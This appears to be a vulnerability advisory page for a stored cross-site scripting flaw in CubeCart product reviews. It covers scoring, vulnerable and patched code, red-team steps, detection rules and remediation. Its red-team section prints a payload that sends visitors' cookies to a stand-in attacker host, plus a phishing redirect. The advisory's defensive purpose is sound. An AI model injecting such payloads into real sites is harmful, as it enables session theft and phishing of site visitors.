CVE-2025-59412
Executive Summary
CVE-2025-59412 is a stored cross-site scripting (XSS) vulnerability in CubeCart, an open-source ecommerce platform. The flaw resides in the product reviews feature, where user-supplied input in the review description field is not properly sanitized before being stored and later rendered on the product page. An attacker can submit arbitrary HTML tags, which are executed when an administrator approves the review. This allows for redirection to malicious sites, defacement, or phishing attacks. The vulnerability is patched in version 6.5.11. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for unpatched instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
CubeCart is a PHP-based application distributed as a ZIP archive. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Administrators must manually update the application files.
CVSS Breakdown & Threat Level
- CVSS Score: 5.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (attacker must be able to submit a review)
- User Interaction: Required (administrator must approve the review)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires user interaction (admin approval) and low privileges, but successful exploitation can lead to session hijacking, phishing, or defacement.
Deep Dive & Mechanics
The vulnerability exists in the review_description field of the product review submission form. CubeCart uses a custom sanitization function, but prior to version 6.5.11, it fails to strip or encode HTML tags. When an attacker submits a review containing malicious HTML (e.g., <script>alert('XSS')</script> or <img src=x onerror=...>), the input is stored in the database without sanitization. Upon admin approval, the review is rendered on the product page, and the injected HTML executes in the context of the visitor's browser.
The attack flow:
- Attacker submits a product review with malicious HTML.
- Administrator reviews and approves the submission.
- All visitors to the product page see the injected content, which may redirect to a phishing site or execute JavaScript.
Vulnerable vs. Patched Code
Vulnerable Code (prior to 6.5.11):
// In review submission handler
$review_description = $_POST['review_description'];
// No sanitization before database insert
$db->insert('CubeCart_reviews', array('description' => $review_description));
Patched Code (6.5.11):
// In review submission handler
$review_description = strip_tags($_POST['review_description']);
// Or use htmlspecialchars for output
$db->insert('CubeCart_reviews', array('description' => $review_description));
The patch applies strip_tags() to remove HTML tags before storage, or uses htmlspecialchars() when rendering the review on the product page.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A CubeCart instance version < 6.5.11.
- A registered user account (or ability to submit reviews as a guest if enabled).
Steps:
- Navigate to a product page and click "Write a Review".
- In the review description field, inject a payload such as:
Or for a redirect:<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script><meta http-equiv="refresh" content="0;url=https://phishing-site.com"> - Submit the review.
- Wait for an administrator to approve the review.
- Once approved, any visitor to the product page will be affected.
Note: No public exploit code is available for this CVE.
Blue Team
Detection:
- Monitor for reviews containing HTML tags in the description field.
- Use WAF rules to block
<script>,<iframe>,<meta>tags in review submissions. - Enable input validation on the server side.
Hunting:
- Query database for reviews with HTML tags:
SELECT * FROM CubeCart_reviews WHERE description LIKE '%<script>%' OR description LIKE '%<iframe>%'; - Check web server logs for unusual redirect patterns or outbound connections from the CubeCart server.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to known malicious domains from the CubeCart server.
- Unusual referrer headers in web logs.
- Host:
- Database entries in
CubeCart_reviewscontaining HTML tags like<script>,<iframe>,<meta>. - Modified
.htaccessfiles (if attacker used XSS to upload a web shell).
- Database entries in
- File:
- Unexpected files in the
uploads/directory (if attacker used XSS to upload malicious files).
- Unexpected files in the
Detection Engineering
YARA Rule
rule CVE_2025_59412_CubeCart_XSS {
meta:
description = "Detects stored XSS payloads in CubeCart review descriptions"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-59412"
strings:
$html_tag = /<[^>]+>/
$script_tag = /<script[^>]*>/
$iframe_tag = /<iframe[^>]*>/
$meta_tag = /<meta[^>]*http-equiv/
condition:
any of ($html_tag) and (any of ($script_tag, $iframe_tag, $meta_tag))
}
Sigma Rule
title: CubeCart Stored XSS in Product Reviews
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTML injection in CubeCart review submissions
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'index.php?_a=review'
cs-request|contains:
- '<script'
- '<iframe'
- '<meta'
condition: selection
falsepositives:
- Legitimate use of HTML in reviews (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-59412 CubeCart Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"index.php?_a=review"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade CubeCart to version 6.5.11 or later.
- If upgrade is not possible, apply a virtual patch using a WAF to block HTML tags in review fields.
Long-term:
- Implement input validation and output encoding for all user-supplied data.
- Use a Content Security Policy (CSP) header to mitigate XSS impact.
- Regularly audit and sanitize existing reviews.
Workaround:
- Disable the product reviews feature temporarily in CubeCart admin settings.
Valters IT